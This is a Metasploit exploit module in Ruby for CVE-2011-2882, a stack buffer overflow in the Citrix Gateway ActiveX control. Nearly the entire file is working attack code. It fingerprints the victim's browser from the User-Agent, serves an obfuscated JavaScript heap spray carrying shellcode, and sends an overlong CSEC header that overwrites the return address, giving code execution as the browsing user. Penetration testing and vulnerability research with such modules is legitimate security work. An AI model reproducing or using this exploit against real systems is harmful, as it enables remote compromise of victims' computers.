##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Citrix Gateway ActiveX Control Stack Based Buffer Overflow Vulnerability',
			'Description'    => %q{
					This module exploits a stack based buffer overflow in the Citrix Gateway
				ActiveX control. Exploitation of this vulnerability requires user interaction.
				The victim must click a button in a dialog to begin a scan. This is typical
				interaction that users should be accustom to.

					Exploitation results in code execution with the privileges of the user who
				browsed to the exploit page.
					},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Michal Trojnara', #Initial discovery
					'bannedit',
					'sinn3r',
				],
			'References'     =>
				[
					[ 'CVE',  '2011-2882'],
					[ 'OSVDB', '74191'   ],
					[ 'URL', 'https://labs.idefense.com/verisign/intelligence/2009/vulnerabilities/display.php?id=929' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Payload'        =>
				{
					'Space'    => 500,
					'BadChars' => "\x00\x0a\x0d\x20\x3b\x81\x83\x88\x90",
				},
			'Platform' => 'win',
			'Targets'        =>
				[
					[ 'Automatic', {} ],
					[ 'IE 6 on Windows XP SP3', { 'Ret' => 0x0c0c0c0c } ],
					[ 'IE 7 on Windows XP SP3', { 'Ret' => 0x0c0c0b0b } ],
					[ 'IE 7 on Windows Vista',  { 'Ret' => 0x0c0c0b0b } ],
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Jul 14 2011', #Coordinated public disclosure according to iDefense
			'DefaultTarget'  => 0))
	end

	def exploit
		@ocx = ::File.read(::File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2011-2882', 'nsepa.ocx'))
		super
	end

	def get_target(request)
		t = target
		agent = request.headers['User-Agent']

		vprint_status("User-Agent: #{agent}")

		if t.name =~ /Automatic/
			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
				#Win XP + IE 6
				t = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
				#Win XP + IE 7
				t = targets[2]
			elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/
				#Win Vista + IE7
				t = targets[2]
			elsif agent == 'nsepa'
				#Citrix Access Gateway requesting /epaq
				t = agent
			else
				#Target not supported
				t = nil
			end
		end

		return t, agent
	end

	def on_request_uri(cli, request)
		@mytarget, agent = get_target(request) if @mytarget.nil?
		vprint_status("Client requested: #{request.uri}.")

		#Target not supported, will not go on
		if @mytarget.nil?
			print_error("Target not supported: #{agent}")
			send_not_found(cli)
			return
		end

		if request.uri.match(/nsepa/)
			print_status("Sending nsepa.ocx")
			send_response(cli, @ocx, { 'Content-Type' => 'application/binary' })
			return
		end

		if request.uri.match(/epaq/)
			padding = rand_text_alpha(300)

			csec = "eepa_0_"
			csec << padding[0, 259]
			csec << [@mytarget.ret].pack('V*')
			csec << padding[0, 68]

			result = rand_text_alpha(1000)
			send_response(cli, rand_text_alpha(30), { 'CSEC' => csec, 'RESULT' => result } )
			@mytarget = nil
			return
		end

		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# payload in JS format
		code = Rex::Text.to_unescape(payload.encoded)

		#For debugging purposes: nops.substring(0,0x534) lands the payload exactly at 0x0c0c0c0c for IE6
		spray = <<-JS
		var heap_lib = new heapLib.ie(0x20000);
		var code = unescape("#{code}");
		var nops = unescape("%u0c0c%u0c0c");

		while (nops.length < 0x1000) nops += nops;
		var offset = nops.substring(0, 0x550);
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x20000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x10000-6)/2);

		heap_lib.gc();

		for (var i = 0; i < 0x6000; i++) {
			heap_lib.alloc(block);
		}
		JS

		spray = heaplib(spray, {:noobfu => true})
		spray = ::Rex::Exploitation::JSObfu.new(spray)
		spray.obfuscate

		load = %Q|
		var d=document.getElementById("nsepadiv");
		if(d) {
			d.innerHTML=
			'<object id="nsepa" classid="CLSID:181BCAB2-C89B-4E4B-9E6B-59FA67A426B5" '+
			'width=1px height=1px codebase="#{get_resource}/epa/nsepa.ocx#version=8,0,59,1">' +
			'<param name="cookie" value="0123456789abcdef0123456789abcdef">'+
			'<param name="location" value="'+document.location+'">'+
			'<param name="trace" value="DEBUG">'+
			'<param name="vip" value="255.255.255.255">'+
			'</object>';
		} else {
			alert('Internal Error');
		}
|
		# the ret slide gets executed via call [esi+45b]
		html = <<-EOS
		<html>
		<body>
		<div id="nsepadiv"></div>
		<script language="javascript">
		#{spray}
		#{load}
		</script>
		</body>
		</html>
		EOS

		html = html.gsub(/^\t\t/, '')

		# we need to handle direct /epaq requests
		proc = Proc.new do |cli, req|
			on_request_uri(cli, req)
		end

		add_resource({'Path' => "/epaq", 'Proc' => proc}) rescue nil
		print_status("Sending #{self.name} HTML")
		send_response(cli, html, { 'Content-Type' => 'text/html' })
	end
end
